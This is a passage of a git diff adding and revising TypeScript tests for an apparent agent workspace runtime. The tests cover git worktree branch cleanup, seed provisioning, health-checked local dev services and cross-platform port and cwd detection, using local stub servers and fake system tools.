+    // A directory name can consist of spaces, so keep the path unchanged and
+    // let the directory-exists check report the missing checkout.
+    let error: unknown = null;
+    try {
+      await ensurePersistedExecutionWorkspaceAvailable({
+        base: {
+          baseCwd: "   ",
+          source: "project_primary",
+          projectId: "project-1",
+          workspaceId: "workspace-1",
+          repoUrl: null,
+          repoRef: "HEAD",
+        },
+        workspace: {
+          mode: "isolated_workspace",
+          strategyType: "git_worktree",
+          cwd: "/does-not-exist/worktree",
+          providerRef: "/does-not-exist/worktree",
+          projectId: "project-1",
+          projectWorkspaceId: "workspace-1",
+          repoUrl: null,
+          baseRef: "HEAD",
+          branchName: "feature-branch",
+        },
+        issue: {
+          id: "issue-1",
+          identifier: "PAP-461",
+          title: "Whitespace base checkout path",
+        },
+        agent: {
+          id: "agent-1",
+          name: "Codex Coder",
+          companyId: "company-1",
+        },
+      });
+    } catch (err) {
+      error = err;
+    }
+
+    expect(error).toBeInstanceOf(Error);
+    expect((error as Error).message).toBe(
+      "Cannot rebuild the git worktree: the base project checkout directory does not exist.",
+    );
+  });
+
   it("auto-detects the default branch when baseRef is not configured", async () => {
     // Create a repo with "master" as default branch (not "main")
     const repoRoot = await createTempRepo("master");
@@ -3260,6 +3653,8 @@ describe("realizeExecutionWorkspace", () => {
       },
     });
 
+    expect(workspace.branchCreatedByRuntime).toBe(true);
+
     const cleanup = await cleanupExecutionWorkspaceArtifacts({
       workspace: {
         id: "execution-workspace-1",
@@ -3273,7 +3668,8 @@ describe("realizeExecutionWorkspace", () => {
         projectWorkspaceId: workspace.workspaceId,
         sourceIssueId: "issue-1",
         metadata: {
-          createdByRuntime: true,
+          createdByRuntime: workspace.branchCreatedByRuntime,
+          gitBranchOwnershipVersion: 1,
         },
       },
       projectWorkspace: {
@@ -3292,6 +3688,83 @@ describe("realizeExecutionWorkspace", () => {
     });
   });
 
+  it("deletes a runtime-created branch at its verified tip after a reuse realization", async () => {
+    const repoRoot = await createTempRepo();
+    const realizationInput = {
+      base: {
+        baseCwd: repoRoot,
+        source: "project_primary",
+        projectId: "project-1",
+        workspaceId: "workspace-1",
+        repoUrl: null,
+        repoRef: "HEAD",
+      },
+      config: {
+        workspaceStrategy: {
+          type: "git_worktree",
+          branchTemplate: "{{issue.identifier}}-{{slug}}",
+        },
+      },
+      issue: {
+        id: "issue-reused-cleanup",
+        identifier: "PAP-17633",
+        title: "Preserve branch ownership across reuse",
+      },
+      agent: {
+        id: "agent-1",
+        name: "Codex Coder",
+        companyId: "company-1",
+      },
+    } satisfies Parameters<typeof realizeExecutionWorkspace>[0];
+
+    const initial = await realizeExecutionWorkspace(realizationInput);
+    expect(initial.branchCreatedByRuntime).toBe(true);
+    const verifiedBranchTip = await readGit(initial.cwd, ["rev-parse", "HEAD"]);
+
+    const reused = await realizeExecutionWorkspace({
+      ...realizationInput,
+      recordedBranchOwnership: {
+        branchName: initial.branchName!,
+        createdByRuntime: initial.branchCreatedByRuntime,
+      },
+    });
+    expect(reused.created).toBe(false);
+    expect(reused.branchCreatedByRuntime).toBe(true);
+
+    const cleanup = await cleanupExecutionWorkspaceArtifacts({
+      workspace: {
+        id: "execution-workspace-reused-cleanup",
+        cwd: reused.cwd,
+        providerType: "git_worktree",
+        providerRef: reused.worktreePath,
+        branchName: reused.branchName,
+        repoUrl: reused.repoUrl,
+        baseRef: reused.repoRef,
+        projectId: reused.projectId,
+        projectWorkspaceId: reused.workspaceId,
+        sourceIssueId: "issue-reused-cleanup",
+        metadata: {
+          createdByRuntime: reused.branchCreatedByRuntime,
+          gitBranchOwnershipVersion: 1,
+        },
+      },
+      projectWorkspace: {
+        cwd: repoRoot,
+        cleanupCommand: null,
+      },
+      expectedBranchHeadSha: verifiedBranchTip,
+    });
+
+    expect(cleanup.cleaned).toBe(true);
+    expect(cleanup.warnings).toEqual([]);
+    await expect(fs.stat(reused.cwd)).rejects.toThrow();
+    await expect(
+      execFileAsync("git", ["rev-parse", "--verify", `refs/heads/${reused.branchName}`], {
+        cwd: repoRoot,
+      }),
+    ).rejects.toThrow();
+  });
+
   it("keeps a runtime-created branch when its tip changes after guarded worktree removal", async () => {
     const repoRoot = await createTempRepo();
     const workspace = await realizeExecutionWorkspace({
@@ -3338,7 +3811,7 @@ describe("realizeExecutionWorkspace", () => {
         projectId: workspace.projectId,
         projectWorkspaceId: workspace.workspaceId,
         sourceIssueId: "issue-1",
-        metadata: { createdByRuntime: true },
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       projectWorkspace: {
         cwd: repoRoot,
@@ -3403,7 +3876,7 @@ describe("realizeExecutionWorkspace", () => {
         projectWorkspaceId: workspace.workspaceId,
         sourceIssueId: "issue-1",
         metadata: {
-          createdByRuntime: true,
+          ...RUNTIME_OWNED_GIT_BRANCH_METADATA,
         },
       },
       projectWorkspace: {
@@ -3478,7 +3951,7 @@ describe("realizeExecutionWorkspace", () => {
         projectWorkspaceId: workspace.workspaceId,
         sourceIssueId: "issue-1",
         metadata: {
-          createdByRuntime: true,
+          ...RUNTIME_OWNED_GIT_BRANCH_METADATA,
           worktreeInstanceRoot: instanceRoot,
         },
       },
@@ -3673,6 +4146,107 @@ describe("ensureRuntimeServicesForRun", () => {
     }
   });
 
+  it("records the built-in deferred seed as failed when its manifest is not verified", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-workspace-seed-operation-"));
+    const restorePaperclipEnv = configureRuntimeProvisionTestHome(workspaceRoot, "workspace-seed-operation");
+    const scriptsDir = path.join(workspaceRoot, "scripts");
+    const markerDir = path.join(workspaceRoot, ".paperclip");
+    await fs.mkdir(scriptsDir, { recursive: true });
+    await fs.mkdir(markerDir, { recursive: true });
+    await fs.writeFile(path.join(markerDir, "seed-pending"), "{}\n", "utf8");
+    await fs.writeFile(
+      path.join(scriptsDir, "provision-worktree-runtime.sh"),
+      [
+        "#!/usr/bin/env bash",
+        "set -euo pipefail",
+        `printf '%s\\n' '${JSON.stringify({ version: 2, state: "failed", phase: "source_validation" })}' > .paperclip/seed-manifest.json`,
+      ].join("\n"),
+      "utf8",
+    );
+    const config = runtimeProvisionTestConfig({});
+    const workspace = {
+      ...buildWorkspace(workspaceRoot),
+      source: "task_session" as const,
+      strategy: "git_worktree" as const,
+      worktreePath: workspaceRoot,
+    };
+    const { recorder, operations } = createWorkspaceOperationRecorderDouble();
+
+    try {
+      await expect(
+        startRuntimeServicesForWorkspaceControl(
+          runtimeProvisionStartInput({ workspace, config, recorder }),
+        ),
+      ).rejects.toThrow(/without a verified manifest.*source_validation/);
+
+      expect(operations).toEqual([
+        expect.objectContaining({
+          phase: "workspace_seed",
+          result: expect.objectContaining({
+            status: "failed",
+            exitCode: 1,
+            metadata: expect.objectContaining({
+              provisionKind: "workspace_seed",
+              seedState: "failed",
+              seedPhase: "source_validation",
+              seedFailurePhase: "source_validation",
+            }),
+          }),
+        }),
+      ]);
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        executionWorkspaceId: "execution-workspace-1",
+        workspaceCwd: workspaceRoot,
+      });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+      restorePaperclipEnv();
+    }
+  });
+
+  it("keeps an explicit command matching the built-in seed command as runtime provisioning", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-explicit-runtime-provision-"));
+    const restorePaperclipEnv = configureRuntimeProvisionTestHome(workspaceRoot, "explicit-runtime-provision");
+    const scriptsDir = path.join(workspaceRoot, "scripts");
+    await fs.mkdir(scriptsDir, { recursive: true });
+    await fs.writeFile(
+      path.join(scriptsDir, "provision-worktree-runtime.sh"),
+      "#!/usr/bin/env bash\nset -euo pipefail\n",
+      "utf8",
+    );
+    const config = runtimeProvisionTestConfig({
+      provisionCommand: "bash ./scripts/provision-worktree-runtime.sh",
+    });
+    const workspace = buildWorkspace(workspaceRoot);
+    const { recorder, operations } = createWorkspaceOperationRecorderDouble();
+
+    try {
+      const services = await startRuntimeServicesForWorkspaceControl(
+        runtimeProvisionStartInput({ workspace, config, recorder }),
+      );
+
+      expect(services).toHaveLength(1);
+      expect(operations).toEqual([
+        expect.objectContaining({
+          phase: "workspace_runtime_provision",
+          metadata: expect.objectContaining({
+            provisionKind: "runtime_dependencies",
+          }),
+          result: expect.objectContaining({
+            status: "succeeded",
+          }),
+        }),
+      ]);
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        executionWorkspaceId: "execution-workspace-1",
+        workspaceCwd: workspaceRoot,
+      });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+      restorePaperclipEnv();
+    }
+  });
+
   it("does not create a runtime provision operation when the command is absent", async () => {
     const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-provision-noop-"));
     const restorePaperclipEnv = configureRuntimeProvisionTestHome(workspaceRoot, "runtime-provision-noop");
@@ -3773,12 +4347,96 @@ describe("ensureRuntimeServicesForRun", () => {
           },
           adapterEnv: {},
         }),
-      ).rejects.toThrow(/Readiness check failed for http:\/\/127\.0\.0\.1:\d+\/api\/health: received HTTP 503/);
+        // The 503 health server must never pass readiness. Assert only that the
+        // readiness check fails for the health URL. Do not assert the exact reason
+        // string: under load the last probe near the deadline can get a small
+        // budget and abort with a timeout before it reads the HTTP 503 response.
+      ).rejects.toThrow(/Readiness check failed for http:\/\/127\.0\.0\.1:\d+\/api\/health/);
     } finally {
       await releaseRuntimeServicesForRun(runId);
     }
   });
 
+  it("replaces a reused Paperclip dev runtime whose 2xx health payload is unhealthy", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-misreported-health-"));
+    const workspace = buildWorkspace(workspaceRoot);
+    const serviceCommand =
+      "node -e \"let healthy=true;const http=require('node:http');http.createServer((req,res)=>{if(req.url==='/misreport'){healthy=false;res.end('failed');return;}if(req.url==='/api/health'){res.setHeader('content-type','application/json');res.end(JSON.stringify(healthy?{status:'ok'}:{status:'unhealthy',error:'database_unreachable'}));return;}res.end('ok')}).listen(Number(process.env.PORT),'127.0.0.1')\"";
+    const input = {
+      actor: { id: "agent-1", name: "Codex Coder", companyId: "company-1" },
+      issue: null,
+      workspace,
+      executionWorkspaceId: "execution-workspace-health",
+      config: { workspaceRuntime: { services: [{
+        name: "paperclip-dev",
+        command: serviceCommand,
+        cwd: ".",
+        port: { type: "auto" as const },
+        readiness: { type: "http" as const, urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 3, intervalMs: 100 },
+        expose: { type: "url" as const, urlTemplate: "http://127.0.0.1:{{port}}" },
+        lifecycle: "shared" as const,
+        stopPolicy: { type: "manual" as const },
+      }] } },
+      adapterEnv: {},
+    };
+    try {
+      const [first] = await startRuntimeServicesForWorkspaceControl(input);
+      await expect(fetch(`${first!.url}/misreport`)).resolves.toMatchObject({ ok: true });
+      await expect(fetch(`${first!.url}/api/health`)).resolves.toMatchObject({ ok: true });
+      const [[replacement], [concurrentReuse]] = await Promise.all([
+        startRuntimeServicesForWorkspaceControl(input),
+        startRuntimeServicesForWorkspaceControl(input),
+      ]);
+      expect(replacement?.id).not.toBe(first?.id);
+      expect(replacement?.reused).toBe(false);
+      expect(concurrentReuse?.id).toBe(replacement?.id);
+      expect(concurrentReuse?.reused).toBe(true);
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        executionWorkspaceId: "execution-workspace-health",
+        workspaceCwd: workspaceRoot,
+      });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+    }
+  });
+
+  it("reuses a shared Paperclip dev runtime after one transient unhealthy response", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-transient-health-"));
+    const workspace = buildWorkspace(workspaceRoot);
+    const serviceCommand =
+      "node -e \"let failNext=false;const http=require('node:http');http.createServer((req,res)=>{if(req.url==='/fail-next'){failNext=true;res.end('armed');return;}if(req.url==='/api/health'){res.setHeader('content-type','application/json');const healthy=!failNext;failNext=false;res.end(JSON.stringify({status:healthy?'ok':'unhealthy'}));return;}res.end('ok')}).listen(Number(process.env.PORT),'127.0.0.1')\"";
+    const input = {
+      actor: { id: "agent-1", name: "Codex Coder", companyId: "company-1" },
+      issue: null,
+      workspace,
+      executionWorkspaceId: "execution-workspace-transient-health",
+      config: { workspaceRuntime: { services: [{
+        name: "paperclip-dev",
+        command: serviceCommand,
+        cwd: ".",
+        port: { type: "auto" as const },
+        readiness: { type: "http" as const, urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 3, intervalMs: 100 },
+        expose: { type: "url" as const, urlTemplate: "http://127.0.0.1:{{port}}" },
+        lifecycle: "shared" as const,
+        stopPolicy: { type: "manual" as const },
+      }] } },
+      adapterEnv: {},
+    };
+    try {
+      const [first] = await startRuntimeServicesForWorkspaceControl(input);
+      await expect(fetch(`${first!.url}/fail-next`)).resolves.toMatchObject({ ok: true });
+      const [reused] = await startRuntimeServicesForWorkspaceControl(input);
+      expect(reused?.id).toBe(first?.id);
+      expect(reused?.reused).toBe(true);
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        executionWorkspaceId: "execution-workspace-transient-health",
+        workspaceCwd: workspaceRoot,
+      });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+    }
+  });
+
   it("uses explicit readiness URL when exposed URL is not the local probe address", async () => {
     const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-explicit-readiness-"));
     const workspace = buildWorkspace(workspaceRoot);
@@ -3945,8 +4603,10 @@ describe("ensureRuntimeServicesForRun", () => {
       branchName: "PAP-874-chat-speed-issues",
       worktreePath: worktreeWorkspaceRoot,
     };
+    // A Paperclip dev runtime must answer `/api/health` semantically before it may
+    // be published, so the fake serves the same shape a real one does.
     const serviceCommand =
-      "node -e \"require('node:http').createServer((req,res)=>res.end(process.env.PAPERCLIP_HOME)).listen(Number(process.env.PORT), '127.0.0.1')\"";
+      "node -e \"require('node:http').createServer((req,res)=>{if(req.url==='/api/health'){res.setHeader('content-type','application/json');res.end(JSON.stringify({status:'ok'}));return;}res.end(process.env.PAPERCLIP_HOME)}).listen(Number(process.env.PORT), '127.0.0.1')\"";
     const config = {
       workspaceRuntime: {
         services: [
@@ -4581,6 +5241,35 @@ describe("readLocalServicePortOwner", () => {
     }
   });
 
+  it("attributes a Windows listener to a descendant of the launched process", async () => {
+    const fakeBin = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-windows-tools-"));
+    const previousPath = process.env.PATH;
+    const port = 43_123;
+    const listenerPid = 43_210;
+    const launchedPid = 32_000;
+    await fs.writeFile(
+      path.join(fakeBin, "netstat"),
+      `#!/bin/sh\nprintf '  TCP    127.0.0.1:${port}    0.0.0.0:0    LISTENING    ${listenerPid}\\n'\n`,
+      { mode: 0o755 },
+    );
+    await fs.writeFile(
+      path.join(fakeBin, "powershell.exe"),
+      `#!/bin/sh\nprintf '${launchedPid}\\n'\n`,
+      { mode: 0o755 },
+    );
+    process.env.PATH = `${fakeBin}${path.delimiter}${previousPath ?? ""}`;
+    Object.defineProperty(process, "platform", { value: "win32" });
+
+    try {
+      await expect(readLocalServicePortOwner(port)).resolves.toBe(listenerPid);
+      await expect(isLocalServiceProcessOwnedBy(listenerPid, launchedPid)).resolves.toBe(true);
+    } finally {
+      if (previousPath === undefined) delete process.env.PATH;
+      else process.env.PATH = previousPath;
+      await fs.rm(fakeBin, { recursive: true, force: true });
+    }
+  });
+
   it("accepts service cwd nested within the requested workspace", async () => {
     const workspace = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-workspace-"));
     const serviceCwd = path.join(workspace, "server");
@@ -4589,7 +5278,46 @@ describe("readLocalServicePortOwner", () => {
     await expect(isLocalServiceProcessInWorkspace(serviceCwd, workspace)).resolves.toBe(true);
   });
 
-  it("keeps a live registry record adoptable when cwd inspection is unsupported", async () => {
+  it("preserves newlines and trailing whitespace from Darwin lsof cwd output", async () => {
+    const fakeBin = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-lsof-tools-"));
+    const previousPath = process.env.PATH;
+    const reportedCwd = path.join(os.tmpdir(), "paperclip-runtime-line\nbreak ");
+    const output = `p${process.pid}\0fcwd\0n${reportedCwd}\0\n`;
+    await fs.writeFile(
+      path.join(fakeBin, "lsof"),
+      `#!${process.execPath}\nprocess.stdout.write(${JSON.stringify(output)});\n`,
+      { mode: 0o755 },
+    );
+    Object.defineProperty(process, "platform", { value: "darwin" });
+    process.env.PATH = fakeBin;
+
+    try {
+      await expect(readLocalServiceProcessCwd(process.pid)).resolves.toBe(reportedCwd);
+    } finally {
+      if (previousPath === undefined) delete process.env.PATH;
+      else process.env.PATH = previousPath;
+      await fs.rm(fakeBin, { recursive: true, force: true });
+    }
+  });
+
+  it("returns null for invalid PIDs and a missing Darwin lsof binary", async () => {
+    await expect(readLocalServiceProcessCwd(-1)).resolves.toBeNull();
+
+    const fakeBin = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-missing-lsof-"));
+    const previousPath = process.env.PATH;
+    Object.defineProperty(process, "platform", { value: "darwin" });
+    process.env.PATH = fakeBin;
+
+    try {
+      await expect(readLocalServiceProcessCwd(process.pid)).resolves.toBeNull();
+    } finally {
+      if (previousPath === undefined) delete process.env.PATH;
+      else process.env.PATH = previousPath;
+      await fs.rm(fakeBin, { recursive: true, force: true });
+    }
+  });
+
+  it("keeps a live registry record adoptable when Darwin cwd inspection confirms it", async () => {
     try {
       await execFileAsync("lsof", ["-v"]);
     } catch {
@@ -4641,16 +5369,19 @@ describe("readLocalServicePortOwner", () => {
     }
   });
 
-  it("trusts unavailable cwd for registry records only off Linux", async () => {
+  it("trusts unavailable cwd for registry records only on unsupported platforms", async () => {
     Object.defineProperty(process, "platform", { value: "darwin" });
-    await expect(isLocalServiceRegistryCwdCompatible(null, process.cwd())).resolves.toBe(true);
+    await expect(isLocalServiceRegistryCwdCompatible(null, process.cwd())).resolves.toBe(false);
 
     Object.defineProperty(process, "platform", { value: "linux" });
     await expect(isLocalServiceRegistryCwdCompatible(null, process.cwd())).resolves.toBe(false);
+
+    Object.defineProperty(process, "platform", { value: "win32" });
+    await expect(isLocalServiceRegistryCwdCompatible(null, process.cwd())).resolves.toBe(true);
   });
 
   it("refuses to adopt a listener whose real cwd belongs to another workspace", async () => {
-    if (process.platform !== "linux") return;
+    if (process.platform !== "linux" && process.platform !== "darwin") return;
     try {
       await execFileAsync("lsof", ["-v"]);
     } catch {
@@ -4741,6 +5472,114 @@ describe("readLocalServicePortOwner", () => {
       await fs.rm(paperclipHome, { recursive: true, force: true });
     }
   });
+
+  it("adopts a port owner running inside the workspace when the registry record is gone", async () => {
+    if (process.platform !== "linux" && process.platform !== "darwin") return;
+    try {
+      await execFileAsync("lsof", ["-v"]);
+    } catch {
+      return;
+    }
+
+    const workspace = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-adopt-"));
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `adopt-port-owner-${randomUUID()}`;
+    const serviceKey = `adopt-port-owner-${randomUUID()}`;
+    // Detach, because managed runtime services also start detached
+    // (`detached: process.platform !== "win32"`). An attached child shares the
+    // runner's process group, so adoption would record the group leader — pnpm
+    // or a shell — and the command check would read that leader instead.
+    const child = spawn(
+      process.execPath,
+      [
+        "-e",
+        "const server=require('node:http').createServer((req,res)=>res.end('ok')); server.listen(0, '127.0.0.1', () => console.log(server.address().port));",
+      ],
+      { cwd: workspace, stdio: ["ignore", "pipe", "inherit"], detached: true },
+    );
+    const port = await new Promise<number>((resolve, reject) => {
+      let output = "";
+      child.stdout?.on("data", (chunk) => {
+        output += String(chunk);
+        const value = Number.parseInt(output.trim(), 10);
+        if (Number.isInteger(value) && value > 0) resolve(value);
+      });
+      child.once("error", reject);
+      child.once("exit", (code) => reject(new Error(`Port owner exited before listening: ${code ?? "unknown"}`)));
+    });
+
+    try {
+      // No registry record is written: this is the "registry lost, service still
+      // running" path that falls through to adoptLocalServiceFromPortOwner.
+      await expect(findAdoptableLocalService({
+        serviceKey,
+        serviceName: "node",
+        command: "node",
+        cwd: workspace,
+        port,
+      })).resolves.toMatchObject({ pid: expect.any(Number), port });
+    } finally {
+      child.kill("SIGTERM");
+      await new Promise<void>((resolve) => child.once("exit", () => resolve()));
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await fs.rm(workspace, { recursive: true, force: true });
+    }
+  });
+
+  it("refuses to adopt a listener whose cwd differs only by trailing whitespace", async () => {
+    if (process.platform !== "linux" && process.platform !== "darwin") return;
+    try {
+      await execFileAsync("lsof", ["-v"]);
+    } catch {
+      return;
+    }
+
+    const workspace = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-ws-"));
+    // A sibling directory whose name is the workspace name plus one space.
+    // These are different directories, so a listener in one must not be
+    // adopted into the other.
+    const lookalike = `${workspace} `;
+    await fs.mkdir(lookalike, { recursive: true });
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `adopt-whitespace-${randomUUID()}`;
+    const serviceKey = `adopt-whitespace-${randomUUID()}`;
+    const child = spawn(
+      process.execPath,
+      [
+        "-e",
+        "const server=require('node:http').createServer((req,res)=>res.end('ok')); server.listen(0, '127.0.0.1', () => console.log(server.address().port));",
+      ],
+      { cwd: lookalike, stdio: ["ignore", "pipe", "inherit"], detached: true },
+    );
+    const port = await new Promise<number>((resolve, reject) => {
+      let output = "";
+      child.stdout?.on("data", (chunk) => {
+        output += String(chunk);
+        const value = Number.parseInt(output.trim(), 10);
+        if (Number.isInteger(value) && value > 0) resolve(value);
+      });
+      child.once("error", reject);
+      child.once("exit", (code) => reject(new Error(`Port owner exited before listening: ${code ?? "unknown"}`)));
+    });
+
+    try {
+      await expect(findAdoptableLocalService({
+        serviceKey,
+        serviceName: "node",
+        command: "node",
+        cwd: workspace,
+        port,
+      })).resolves.toBeNull();
+    } finally {
+      child.kill("SIGTERM");
+      await new Promise<void>((resolve) => child.once("exit", () => resolve()));
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await fs.rm(lookalike, { recursive: true, force: true });
+      await fs.rm(workspace, { recursive: true, force: true });
+    }
+  });
 });
 
 describeEmbeddedPostgres("workspace dirty quarantine branch repair", () => {
@@ -4986,6 +5825,7 @@ describeEmbeddedPostgres("workspace dirty quarantine branch repair", () => {
         repoUrl: null,
         baseRef: "HEAD",
         branchName: input.expectedBranch,
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       issue: {
         id: input.ids.sourceIssueId,
@@ -5399,7 +6239,16 @@ describeEmbeddedPostgres("workspace runtime service control persistence", () =>
   });
 
   afterEach(async () => {
-    await resetRuntimeServicesForTests();
+    // Terminate the real child processes this block starts and persist their
+    // stopped rows before the row deletes below. A left-over child exits later
+    // and its detached exit handler then writes a workspace_runtime_services row
+    // that references the deleted project, which raises an unhandled foreign-key
+    // error in the next test.
+    await resetRuntimeServicesForTests({ terminateProcesses: true });
+    // Service control writes activity_log rows. Delete them before the company
+    // delete so a lingering foreign-key row cannot block the company delete and
+    // leak rows into the next test.
+    await db.delete(activityLog);
     await db.delete(workspaceRuntimeServices);
     await db.delete(executionWorkspaces);
     await db.delete(projectWorkspaces);
@@ -5620,6 +6469,804 @@ describeEmbeddedPostgres("workspace runtime service control persistence", () =>
       else process.env.PAPERCLIP_INSTANCE_ID = previousPaperclipInstanceId;
     }
   }, 15_000);
+
+  async function createRuntimeFixture(input?: {
+    companyId?: string;
+    workspaceModes?: Array<"isolated_workspace" | "shared_workspace">;
+  }) {
+    const companyId = input?.companyId ?? randomUUID();
+    const agentId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    const baseRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-port-fixture-"));
+    const workspaceModes = input?.workspaceModes ?? ["isolated_workspace"];
+    const workspaceRows = await Promise.all(workspaceModes.map(async (mode, index) => {
+      const cwd = await fs.mkdtemp(path.join(baseRoot, `workspace-${index}-`));
+      return {
+        id: randomUUID(),
+        cwd,
+        mode,
+      };
+    }));
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: `Runtime ports ${companyId.slice(0, 8)}`,
+      issuePrefix: `R${companyId.replace(/-/g, "").slice(0, 7).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(agents).values({
+      id: agentId,
+      companyId,
+      name: "Runtime Port Agent",
+      role: "engineer",
+      status: "active",
+      adapterType: "codex_local",
+      adapterConfig: {},
+      runtimeConfig: {},
+      permissions: {},
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Runtime port allocation",
+      status: "in_progress",
+    });
+    await db.insert(projectWorkspaces).values({
+      id: projectWorkspaceId,
+      companyId,
+      projectId,
+      name: "Primary",
+      sourceType: "local_path",
+      cwd: baseRoot,
+      isPrimary: true,
+    });
+    await db.insert(executionWorkspaces).values(workspaceRows.map((workspace, index) => ({
+      id: workspace.id,
+      companyId,
+      projectId,
+      projectWorkspaceId,
+      mode: workspace.mode,
+      strategyType: workspace.mode === "isolated_workspace" ? "git_worktree" : "project_primary",
+      name: `Runtime workspace ${index + 1}`,
+      status: "active",
+      providerType: "local_fs",
+      cwd: workspace.cwd,
+      providerRef: workspace.cwd,
+    })));
+
+    const realizedWorkspace = (workspace: typeof workspaceRows[number]): RealizedExecutionWorkspace => ({
+      baseCwd: baseRoot,
+      source: "task_session",
+      projectId,
+      workspaceId: projectWorkspaceId,
+      repoUrl: null,
+      repoRef: "HEAD",
+      strategy: workspace.mode === "isolated_workspace" ? "git_worktree" : "project_primary",
+      cwd: workspace.cwd,
+      branchName: null,
+      worktreePath: workspace.mode === "isolated_workspace" ? workspace.cwd : null,
+      warnings: [],
+      created: false,
+    });
+
+    return {
+      companyId,
+      agentId,
+      projectId,
+      projectWorkspaceId,
+      workspaces: workspaceRows,
+      actor: { id: agentId, name: "Runtime Port Agent", companyId },
+      realizedWorkspace,
+      cleanup: async () => await fs.rm(baseRoot, { recursive: true, force: true }),
+    };
+  }
+
+  function fixedPortRuntimeConfig(port: number, command?: string) {
+    const serverCommand = command ?? [
+      JSON.stringify(process.execPath),
+      "-e",
+      JSON.stringify(
+        "require('node:http').createServer((_req,res)=>res.end('ok')).listen(Number(process.env.PORT),'127.0.0.1')",
+      ),
+    ].join(" ");
+    return {
+      workspaceRuntime: {
+        services: [{
+          name: "web",
+          command: serverCommand,
+          port: { type: "fixed", value: port, envKey: "PORT" },
+          readiness: {
+            type: "http",
+            urlTemplate: "http://127.0.0.1:{{port}}",
+            timeoutSec: 5,
+            intervalMs: 25,
+          },
+          expose: { type: "url", urlTemplate: "http://127.0.0.1:{{port}}" },
+          lifecycle: "shared",
+          reuseScope: "execution_workspace",
+          stopPolicy: { type: "manual" },
+        }],
+      },
+    };
+  }
+
+  async function createRuntimeHome() {
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-port-home-"));
+    const previousPaperclipHome = process.env.PAPERCLIP_HOME;
+    const previousPaperclipInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `runtime-ports-${randomUUID()}`;
+    return async () => {
+      if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousPaperclipHome;
+      if (previousPaperclipInstanceId === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
+      else process.env.PAPERCLIP_INSTANCE_ID = previousPaperclipInstanceId;
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+    };
+  }
+
+  async function isLoopbackPortFree(port: number) {
+    const probe = net.createServer();
+    return await new Promise<boolean>((resolve) => {
+      probe.once("error", () => resolve(false));
+      probe.listen(port, "127.0.0.1", () => {
+        probe.close(() => resolve(true));
+      });
+    });
+  }
+
+  function httpsRuntimeConfig(command: string) {
+    return {
+      workspaceRuntime: {
+        services: [{
+          name: "paperclip-dev",
+          command,
+          port: { type: "fixed", value: 45_439, envKey: "PORT" },
+          readiness: {
+            type: "http",
+            urlTemplate: "http://127.0.0.1:{{port}}",
+            timeoutSec: 5,
+            intervalMs: 25,
+          },
+          expose: {
+            type: "tailscale_https",
+            hostname: "auto",
+            publicPort: "same",
+            includePaperclipViteHmr: true,
+            failurePolicy: "fail_closed",
+          },
+          lifecycle: "shared",
+          reuseScope: "execution_workspace",
+          stopPolicy: { type: "manual" },
+        }],
+      },
+    };
+  }
+
+  it("waits for every managed process-tree listener before requesting HTTPS exposure", async () => {
+    const fixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const delayedHmrScript = [
+      "const http=require('node:http');",
+      "const port=Number(process.env.PORT);",
+      "http.createServer((req,res)=>{if(req.url==='/api/health'){res.setHeader('content-type','application/json');res.end(JSON.stringify({status:'ok'}));return;}res.end('ok')}).listen(port,'127.0.0.1');",
+      "setTimeout(()=>http.createServer((_req,res)=>res.end('hmr')).listen(port+10000,'127.0.0.1'),750);",
+      "setInterval(()=>{},1000);",
+    ].join("");
+    const command = `${JSON.stringify(process.execPath)} -e ${JSON.stringify(delayedHmrScript)}`;
+    let reservedListeners: Array<{ purpose: "app" | "vite_hmr"; port: number }> = [];
+    let exposeCalls = 0;
+    const broker = {
